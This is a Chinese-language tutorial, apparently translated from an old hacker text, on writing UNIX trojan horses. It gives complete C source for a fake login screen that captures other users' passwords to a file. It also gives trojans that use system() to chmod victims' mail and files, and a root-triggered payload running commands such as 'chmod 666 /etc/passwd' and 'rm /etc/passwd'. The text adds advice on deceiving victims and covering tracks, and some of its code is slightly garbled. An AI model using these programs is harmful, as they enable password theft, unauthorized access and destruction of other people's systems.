《UNIX-特洛伊木馬.---中國(guó)信息安全測(cè)評(píng)中心.doc》由會(huì)員分享,可在線閱讀,更多相關(guān)《UNIX-特洛伊木馬.---中國(guó)信息安全測(cè)評(píng)中心.doc(5頁(yè)珍藏版)》請(qǐng)?jiān)谘b配圖網(wǎng)上搜索。
1、UNIX特洛伊木馬
發(fā)布日期:1999-10-31
文摘內(nèi)容:
簡(jiǎn)介:
------------
????“UNIX安全”是種矛盾的說(shuō)法。UNIX系統(tǒng)是很容易就可以用暴力法攻破,因?yàn)榇蠖鄶?shù)UNIX系統(tǒng)并沒(méi)有設(shè)置登錄次數(shù)限制,而且還有諸如root、bin、sys、uucp等缺省用戶。一旦進(jìn)入了系統(tǒng),就很容易獲得系統(tǒng)控制權(quán)。如果懂得C語(yǔ)言,你甚至可以使系統(tǒng)為你工作,完全除去系統(tǒng)的安全屏障,建立自已的帳號(hào),讀取別人的文件,等等。這些事情都可以通過(guò)本文中簡(jiǎn)單的C語(yǔ)言代碼來(lái)實(shí)現(xiàn)。
需求:
------------
????首先,你需要有一個(gè)有效的UNIX系統(tǒng)帳號(hào)。如果該UN
2、IX系統(tǒng)是運(yùn)行在如PDP/11、VAX、Pyramid等機(jī)器上的相對(duì)簡(jiǎn)單的UNIX系統(tǒng)(如4.2bsd或AT&T System V等),則則會(huì)獲得很好的效果。如果你在學(xué)校擁有一個(gè)基于這些系統(tǒng)的帳號(hào),那就再好不過(guò)了。
注釋:
-----
????本文的起因是1986年4月刊登的一篇題目為“UNIX安全”的文章。在這篇文章中,作者說(shuō)到:“我們希望,我們所提供的資料在一定程度上引起人們的興趣和避免UNIX過(guò)于容易成為“駭客們的食譜”。因此我們有意省略了某些細(xì)節(jié)。”于是我根據(jù)這篇文章的大綱,按照其中談到的方法,編寫出以下清晰完整的例子。
實(shí)例一:騙取密碼
--------------
3、---------------------
????只要有一點(diǎn)UNIX和C知識(shí),你會(huì)發(fā)現(xiàn)做到這一點(diǎn)根本不難。但是,你首先必須有權(quán)訪問(wèn)一臺(tái)許多人都可以使用的計(jì)算機(jī),如學(xué)校中的公用計(jì)算機(jī)。
????當(dāng)?shù)卿浀揭粋€(gè)UNIX系統(tǒng)時(shí),會(huì)出現(xiàn)類似以下內(nèi)容的屏幕:
Tiburon Systems 4.2bsd / System V (shark)
login: shark
Password:??????(無(wú)回顯)
????
????以下程序模擬了一個(gè)登錄過(guò)程。你在終端上運(yùn)行該程序后就離開(kāi)。那些無(wú)知的“笨蛋”會(huì)上來(lái)輸入他們的帳號(hào)和密碼,這些都會(huì)保存在一個(gè)文件里。然后屏幕顯示“l(fā)ogin incor
4、rect”(登錄錯(cuò)誤),并要求這個(gè)“笨蛋”再次登錄。這一次才是真正的登錄程序,當(dāng)然會(huì)成功登錄了(真是一群“笨蛋”)。
????把以下程序代碼輸入名為“horse.c”的文件中。注意,你需要針對(duì)不同系統(tǒng)的顯示更改程序的前8行。
----- Code Begins Here -----
/* this is what a 'C' comment looks like.??You can leave them out. */
/* #define's are like macros you can use for configuration. */
#define SYSTEM "\n
5、\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
/* The above string should be made to look like the message that your
* system prints when ready.??Each \n represents a carriage return.
*/
#define LOGIN??"login: "
/* The above is the login prompt.??You shouldn't have to change it
* unless you're run
6、ning some strange version of UNIX.
*/
#define PASSWORD "password:"
/* The above is the password prompt.??You shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value assigned to WAIT is the delay you get after
* "password:" and before "login incorrect."??Change it (0 =
7、 almost
* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
#define INCORRECT "Login incorrect.\n"
/* Change the above so it is what your system says when an incorrect
* login is given.??You shouldn'
8、t have to change it.
*/
#define FILENAME "stuff"
/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically.??'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include
9、
#include
int stop();
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
10、
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") )??!= NULL ) {
#fprintf(fp,"login %s has password %s\n",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
????
????OK,正如我所說(shuō)的,輸入以上代碼,并修改它,使它看起來(lái)與真正的登錄過(guò)程完全一致。編譯horse.c文件。
11、( % 不必輸入,它只是系統(tǒng)提示符。)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
????現(xiàn)在你已有了可執(zhí)行文件horse。運(yùn)行它,如果所顯示的內(nèi)容與真正的登錄過(guò)程不一樣,便重新編輯horse.c源程序,并重新編譯。在使用木馬程序前,建立名為trap(或者其他名字)的文件,內(nèi)容如下:
horse????????????????????(運(yùn)行木馬程序)
login????????????????????(運(yùn)行系統(tǒng)登錄程序)
????執(zhí)行trap文件:
% source trap????????????(重復(fù):不要輸入 %)
12、
????然后離開(kāi)終端...
????程序運(yùn)行幾次后,檢查stuff文件(或者你定義的任何文件),其內(nèi)容應(yīng)類似如下:
user john has password secret
user mary has password smegma
etc.
????記錄下這些帳號(hào)和密碼,然后刪除這個(gè)文件。(否則,如果超級(jí)用戶看到這個(gè)文件,你可就危險(xiǎn)了。)
????注:為了取得更好的效果,終端最好設(shè)置為在一定時(shí)間內(nèi)無(wú)用戶登錄便退出。這樣,即使無(wú)人使用該終端,木馬程序也不會(huì)空運(yùn)行漫長(zhǎng)的14小時(shí)(或更長(zhǎng))了。
-----
????下一個(gè)實(shí)例運(yùn)行在一個(gè)遠(yuǎn)程系統(tǒng)上,如你已成功侵入的諸如Mic
13、higan的VAX、Dratmouth的UNIX等系統(tǒng)。然而,它要求UNIX初學(xué)者具有一定的C語(yǔ)言知識(shí)。
實(shí)例二:讀取他人文件
-------------------------------------
????當(dāng)用戶運(yùn)行一個(gè)程序的時(shí)候,他們就是被創(chuàng)建進(jìn)程的擁有者,程序便可以做出任何不超越其權(quán)限的事情,如刪除文件,創(chuàng)建文件,并賦予他人訪問(wèn)的權(quán)限等。
????當(dāng)用戶在UNIX系統(tǒng)上保存郵件時(shí),郵件被保存在用戶根目錄下的mbox文件中。在缺省情況下,該文件僅能由用戶讀取。下面的小程序可以解鎖運(yùn)行此程序的用戶mbox文件(如使用chmod 777命令,即允許系統(tǒng)中的任意用戶擁有完全訪問(wèn)權(quán)
14、限):
----- Code Begins Here -----
#include
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
????????sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
????????syste
15、m(buf);
????????}
}
----- Code Ends Here -----
????現(xiàn)在,問(wèn)題是:怎樣才能讓攻擊目標(biāo)運(yùn)行這個(gè)程序呢?
????如果系統(tǒng)有發(fā)布消息的功能(如4.xbsd中的msgs命令),你可以將程序發(fā)布出去。到UNIX WORLD等雜志上找一個(gè)工具或游戲程序,并將以上代碼插入到程序里。例如,你有一個(gè)tic-tac-toe程序,并已將木馬代碼放入tic-tac-toe程序真正運(yùn)行的代碼之前,你便可以發(fā)布“我有一個(gè)新的tic-tac-toe程序,你們可以測(cè)試它,可在我的目錄下找到它。”之類的消息。你也可以單獨(dú)向你的欺騙目標(biāo)發(fā)出類似的郵件。
????
16、如果你找不到一個(gè)程序可以插入木馬,也可以在以上代碼最后兩個(gè)}間插入以下代碼:
????
printf("Error opening tic-tac-toe data file.??Sorry!\n");
????當(dāng)此程序運(yùn)行,它將顯示以上錯(cuò)誤信息。用戶就會(huì)想:“嗯,這小子連這么簡(jiǎn)單的
tic-tac-toe程序都不會(huì)寫!”但其實(shí)可笑的是他——你現(xiàn)在已經(jīng)可以讀取他的郵件了。
????如果你想讀取某個(gè)用戶目錄下的特定文件(例如“secret”),只要向這個(gè)用戶投寄以下程序:
main()
{
if ( access("secret",0) > -1 ) system("chmod
17、777 secret");
}
????然后與他“交談”或通信,象Joe Loser所說(shuō)的:“我剛寫了一個(gè)super_star-wars程序,你愿意測(cè)試一下嗎?”
????無(wú)論你希望何人運(yùn)行某一命令,都不是一件難事,只要把他放進(jìn)C程序中的system()函數(shù),然后誘騙他運(yùn)行這個(gè)程序!
????下面是利用以上技術(shù)的一些用法:
實(shí)例三:成為超級(jí)用戶
-----------------------------------
????寫一個(gè)讓別人運(yùn)行的程序,插入下面代碼:
if ( !strcmp(getlogin(),"root") ) system("whatever you w
18、ant");
????該代碼檢查root用戶是否在運(yùn)行本程序。如是,你便可以利用他的權(quán)限執(zhí)行你所希望的命令了(只要將whatever you want改為該命令即可)。以下是常用的命令:
"chmod 666 /etc/passwd"
????/etc/passwd是系統(tǒng)密碼文件,只有root用戶可以讀寫,在一般情況下,其他用戶只能讀(密碼是經(jīng)加密的)。如你不清楚其結(jié)構(gòu)格式,可以查看它。上面的命令使你也可以讀寫該文件——如為自己和朋友建立無(wú)權(quán)限限制的帳號(hào)。
"chmod 666 /etc/group"
????通過(guò)把自己加入某些具有高級(jí)權(quán)限的組,你便可以為所欲為了。
"chmo
19、d 666 /usr/lib/uucp/L.sys"
????檢查這個(gè)文件確定這個(gè)系統(tǒng)是否在UUCP(UNIX-UNIX CONNECTION PROTOCOL)網(wǎng)絡(luò)上。此文件包含了訪問(wèn)網(wǎng)絡(luò)中其他系統(tǒng)的撥號(hào)用戶和密碼,以一般情況下,只有UUCP管理員能讀取它。找到UUCP管理員帳號(hào)并誘使其在不知情的情況下運(yùn)行以上代碼,你便可以讀取它了。
"rm /etc/passwd"
????如果你誘使root用戶運(yùn)行這行代碼,就會(huì)刪除系統(tǒng)密碼文件,此系統(tǒng)將停機(jī),并且不能再次運(yùn)行了。這是具有相當(dāng)破壞力的。
-----
????當(dāng)你準(zhǔn)備向系統(tǒng)放置特洛伊木馬,有幾條規(guī)則應(yīng)該注意。
????如果隱
20、蔽性是主要的,(如侵入用戶郵箱或刪除他的所有文件等,)那么這個(gè)程序不應(yīng)該被過(guò)多地執(zhí)行(如一個(gè)流行的電腦游戲)——一旦用戶發(fā)現(xiàn)他們的文件被允許完全訪問(wèn),那么他是比較容易找到原因的。為了加強(qiáng)木馬的隱蔽性,程序應(yīng)該表明為“測(cè)試”程序(比如你正在編寫的游戲),并且請(qǐng)求個(gè)別人運(yùn)行它,并與他們“交流”意見(jiàn)(只是為了欺騙他們)。正如我所說(shuō)的,“測(cè)試”程序在完成其任務(wù)后,可以顯示虛假的錯(cuò)誤消息。你便可以對(duì)他們說(shuō):“唉呀,我想我要繼續(xù)修改它?!痹谒麄冸x開(kāi)后,你便可以讀取已被你解鎖的文件了。
????如果木馬程序的主要目的是捕捉運(yùn)行此程序的特定用戶——如root或其他高級(jí)用戶,你就應(yīng)該把木馬程序代碼放入可被系統(tǒng)中絕大多數(shù)用戶頻繁執(zhí)行的程序里。因?yàn)槟抉R程序在特定用戶運(yùn)行前是隱匿的。
????如果你發(fā)現(xiàn)C語(yǔ)言代碼很難理解,你就必須從PASCAL語(yǔ)言等轉(zhuǎn)變過(guò)來(lái)并學(xué)會(huì)C語(yǔ)言。這種情況不會(huì)有損C語(yǔ)言作為一種偉大的編程語(yǔ)言。
????以上我們已經(jīng)看到在UNIX系統(tǒng)上怎樣做了。一旦你捕捉到了root用戶(如你可以修/etc/passwd
文件),就要從特洛伊木馬程序中刪除有關(guān)欺騙的代碼,這樣你就永遠(yuǎn)不會(huì)被捉住了